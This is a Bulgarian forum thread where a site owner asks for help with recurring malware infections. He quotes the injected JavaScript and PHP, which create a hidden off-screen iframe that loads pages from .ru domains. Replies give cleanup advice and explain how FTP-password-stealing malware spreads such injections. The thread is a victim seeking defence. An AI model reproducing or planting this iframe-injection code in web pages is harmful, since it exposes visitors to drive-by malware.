Trojan.JS injection

[BReady007]

Добър ден на всички!
Имам един доста голям проблем и не мога да се оттърва от него. Някой ми е вдигнал мерника и заразява наред всичките ми сайтове с троянец.
Инжектират ми javascript, който прави скрит фрейм и създава нов файл на компютъра, и по този начин го заразява с някакъв вирус. Най-често се инфектира index.php / index.html (в зависимост от сайта) - естествено трия злонамерения код, но след около 2 часа пак се появява.

Засегнатите сайтове са:
-------- (CMS) - този го оттървах като смених CMS системата, явно старата е имала дупка, за сега няма проблем с него, а с поддомейните:
---------- (прост HTML) - няма оправия.
--------- (прост HTML) - няма оправия.

--------- (WordPress) - четох, че този вид програми били най-ефективни точно върху WordPress.

---------- (Писан код на PHP) - уж има някаква протекция, но не върши никаква работа.

Та ако може да ми помогнете и да ми кажете как да се защитя от тези атаки, че направо в чудо се видях. Ако някой се е сблъсквал с този проблем и е намери решение, моля да го сподели. Или някой от добрите програмисти знае начин как да спра атаките, нека сподели, ще съм ви много благодарен!

Code от HTML сайтовете
[js]<script type="text/javascript">
function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src = "http://xudyhbes.ru/count6.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;
</script>[/js]
Code от PHP и CMS-a

#c3284d#
echo "<script type=\"text/javascript\">
function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src  = \"http://biskehud.ru/count5.php\";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;
</script>
";

#/c3284d#

====================================
Пробвах с този JS да премахна фрейма и да си пренасочва към моя сайт, но нямаше ефект. После се опитах да заменя техния скрипт само като променя ifrm.src = mysite , около 4-5 дена се задържа и после пак презаписаха техния.
[js]<script type="text/javascript">
if(top != self) {
top.location.href = 'http://www.mysite.com';
}
</script>[/js]

// Благодаря предварително!

 

[uphero]

Като за начало си сканирай компютъра за вируси и тем подобни глупости,след това смени всички пароли -имейл,цпанел,фтп и където се сетиш след това пишеш на хостинга ти да сканират файловете ти а най добре е ти да си прегледаш файловете един по един за нещо съмнително ,най-често става така като ползваш теми и дизайни които са за ЦМС–те и са заразени

 

[StormBreaker]

Нека да обясня как работи системата:

1. Имаш вирус на компютъра, който сканира за запазени ftp хостове и пароли и ги праща на някой компютър
2. От друго място (други компютри) тези пароли се използват за да се добие достъп до сайтовете ти и да се инжектира код в тях.

Това става автоматично и не е насочено специално към теб или друг отделен човек. Просто на всеки хванал вируса и имал запазени пароли му се компрометират сайтовете. И също така ме съмнява някоя антивирусна вече да го намери.

Преинсталирай си PC-то и първото нещо, което трябва да направиш когато го стартираш за първи път е да изтеглиш (от интернет!) някой безплатен антивирус или free trial/online scanner на антивирус, и да сканираш всичко. Не използвай EXE файлове съхранени на компютъра ти преди преинсталацията, някои вируси ги инфектират. След това си смени паролите на всички сайтове. Веднъж щом имат тази парола ти е ясно, че могат да я използват не само за ftp-та. И не сменяй паролите само на хостингите. Щом е имал вируса достъп до компютъра ти може много лесно да е взел и всички други пароли, което не изключва мейл, paypal и подобни важни данни.

Важно е да не си сменяваш паролата преди преинсталацията или те ще имат и новата.

ПП. Не е хубаво да линкваш заразените сайтове. Много хора кликат на линкове без да четат.